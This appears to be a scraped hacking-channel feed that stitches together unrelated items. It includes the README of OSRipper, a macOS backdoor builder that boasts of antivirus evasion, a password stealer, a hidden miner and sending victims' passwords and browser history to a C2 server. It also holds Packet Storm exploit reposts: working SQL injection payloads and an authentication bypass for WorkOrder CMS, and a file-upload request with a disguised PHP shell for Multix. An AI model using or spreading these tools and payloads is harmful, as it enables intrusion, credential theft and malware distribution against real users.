macOS .apps will look like this on vtGetting StartedDependenciesYou need python. If you do not wish to download python you can download a compiled release. The python dependencies are specified in the requirements.txt file.Since Version 1.4 you will need metasploit (https://www.kitploit.com/search/label/Metasploit) installed and on path so that it can handle the meterpreter listeners.InstallingLinuxapt install git python -y
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txtWindowsgit clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
pip3 install -r requirements.txtor download the latest release from https://github.com/SubGlitch1/OSRipper/releases/tag/v0.2.3Executing programOnly thissudo python3 main.py
ContributingPlease feel free to fork and open pull repuests. Suggestions/critisizm are appreciated as wellRoadmapv0.1✅Get down detection to 0/26 on antiscan.me✅Add Changelog✅Daemonise Backdoor✅Add Crypter✅Add More Backdoor templates✅Get down detection to at least 0/68 on VT (for mac malware)v0.2✅Add AntiVM[] Implement tor hidden services✅Add Logger✅Add Password stealer[] Add KeyLogger✅Add some new evasion options✅Add SilentMiner[] Make proper C2 serverv0.3Coming soonHelpJust open a issue and ill make sure to get back to youChangelog0.2.1OSRipper will now pull all information from the Target and send them to the c2 server (https://www.kitploit.com/search/label/C2%20Server) over sockets. This includes information like browser history, passwords, system information, keys and etc.0.1.6Proccess will now trojanise itself as com.apple.system.monitor and drop to /Users/Shared0.1.5Added Crypter0.1.4Added 4th Module0.1.3Got detection on VT down to 0. Made the Proccess invisible0.1.2Added 3rd module and listener0.1.1Initial ReleaseLicenseMITAcknowledgmentsInspiration, code snippets, etc.htr (https://github.com/htr-tech/PyObfuscate)swiftbelt (https://github.com/cedowens/SwiftBelt)SupportI am very sorry to even write this here but my finances are not looking good right now. If you appreciate my work i would really be happy about any donation. You do NOT have to this is solely optionalBTC: 1LTq6rarb13Qr9j37176p3R9eGnp5WZJ9TDisclaimerI am not responsible for what is done with this project. This tool is solely written to be studied by other security researchers to see how easy it is to develop macOS malware.

Download OSRipper (https://github.com/SubGlitch1/OSRipper)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Dependency Check : Detects Publicly Disclosed Vulnerabilities In Application Dependencies

___________________________
@hacking_Attack
@Hacking_Video

Immunefi Raises $24m for Series A to Secure Web3

Today, we’re announcing that we’ve raised $24m for our Series A round, led by Framework Ventures and joined by other investors like…Continue reading on Immunefi »
Read more...

hacking: security in practice
WPS Offline Attack, What to do?

Hi, I have a task for school where the task is to calculate the WPS PIN that was used to create the hashes given.

I have the following data/values :

EHASH1, and EHASH2, ENonce, RENonce, Enrollee MAC, Public Key Enrollee, Private Key Enrollee, Public Key Registrar, and the shared secret(256 Bit hash).

I tried using some pixiewps (offline was brute force) tool from GitHub, but all I got out was jibberish.

So what I was thinking of writing a python script that brute forces the combination, but every thing I have tried so far has not worked.

I you have any tips for how to solve this task, I would really appreciate if you could send me a message or comment.

submitted by /u/TheDragonPenguin
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Strange encryption

Hi, I bumped into a weir encryption type that I cannot recognize, I know a password and its encrypted form, but I can't figure which encryption it is.

The password in plaintext is "CYM-Juri2016", and encrypted it is "dÔ£Žœ¦ï”eh["

Does it ring a bell ?

Thank you in advance

submitted by /u/megatronchote
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Immunefi Raises $24m for Series A to Secure Web3
https://medium.com/immunefi/immunefi-raises-24m-for-series-a-to-secure-web3-deee774c0dee?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Today, we’re announcing that we’ve raised $24m for our Series A round, led by Framework Ventures and joined by other investors like…Continue reading on Immunefi » (https://medium.com/immunefi/immunefi-raises-24m-for-series-a-to-secure-web3-deee774c0dee?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Twitter's Whistleblower Allegations Are a Cautionary Tale for All Businesses

Businesses need to turn privacy and security into an advantage. Store less data, and live up to customer expectations that their information is protected. Take small steps, be transparent about data management, and chose partners carefully.

Dark Reading: Attacks/Breaches
StackHawk Launches Deeper API Security Test Coverage to Improve the Security of APIs

Expansion of test coverage includes custom scan discovery, custom test scripts and custom test data for REST APIs, enabling developers to leave no paths untouched.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Palo Alto Networks 5G-Native Security Now Available on Microsoft Azure Private Multi-Access Edge Compute

.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Linux Stable 5.4 / 5.10 Use-After-Free / Race Condition

https://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png
Linux stable versions 5.4 and 5.10 suffers from a page use-after-free via stale TLB caused by an rmap lock not held during PUD move.

SHA-256 | b9d45dd1409659792dcfd15c2c4781345acb1b7ca05dc637d666213b43252dff

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WorkOrder CMS 0.1.0 SQL Injection

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
WorkOrder CMS version 0.1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

SHA-256 | 1be273ff725163819b2cfa9a453104d943c26788eac55ddd53d75e0f3feec9d8

Download
# Exploit Title: WorkOrder CMS 0.1.0 SQLI

# Date: Sep 22, 2022

# Exploit Author: Chokri Hammedi

# Vendor Homepage: https://github.com/romzes13/WorkOrderCMS

# Software Link:
https://github.com/romzes13/WorkOrderCMS/archive/refs/tags/v0.1.0.zip

# Version: 0.1.0

# Tested on: Linux
# Auth Bypass:
username:' or '1'='1

password:' or '1'='1
#sqlmap -r workorder.req --threads=10 --level 5 --risk 3 --dbs --dbms=mysql
# POST Requests:
Parameter: #1* ((custom) POST)

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

Payload: userName=1'='1&password=1/' AND (SELECT 3761 FROM(SELECT
COUNT(*),CONCAT(0x7170627071,(SELECT
(ELT(3761=3761,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UUhY!1111'/
Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: userName=1'='1&password=1/';SELECT SLEEP(5)#!1111'/
Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: userName=1'='1&password=1/' AND (SELECT 6822 FROM
(SELECT(SLEEP(5)))lYsh)-- YlDI!1111'/
Parameter: #2* ((custom) POST)

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

Payload: userName=1'='1&password=1/!1111' AND (SELECT 2010 FROM(SELECT
COUNT(*),CONCAT(0x7170627071,(SELECT
(ELT(2010=2010,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tqtn/
Type: stacked queries

Title: MySQL >= 5.0.12 stacked queries (comment)

Payload: userName=1'='1&password=1/!1111';SELECT SLEEP(5)#/
Type: time-based blind

Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)

Payload: userName=1'='1&password=1/!1111' OR SLEEP(5)-- XuTW/

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Multix 2.4 Cross Site Request Forgery

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Multix version 2.4 suffers from a cross site request forgery vulnerability.

SHA-256 | d804687ad3c71ed52a7465168db79fb1a6b87b78c6e128b3cc988a897cc33cf8

Download
# Exploit Title: Multix - Multipurpose Website CMS with Codeigniter Cross Site Request Forgery
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/multix-multipurpose-website-cms-with-codeigniter/23537596
# Version: Version 2.4
# Tested on Ubuntu 18.04
-------Request-----------
POST /admin/file/add HTTP/1.1
Host: localhost
Content-Length: 466
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Origin: http://localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE0mBtYGic6umB5Ve
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: empty
Referer: http://localhost/admin/file/add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1;
Connection: close

------WebKitFormBoundaryE0mBtYGic6umB5Ve
Content-Disposition: form-data; name="file_title"
------WebKitFormBoundaryE0mBtYGic6umB5Ve
Content-Disposition: form-data; name="file_name"; filename="shell2.php .jpg"
Content-Type: image

asdasd
------WebKitFormBoundaryE0mBtYGic6umB5Ve
Content-Disposition: form-data; name="form1"
------WebKitFormBoundaryE0mBtYGic6umB5Ve--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video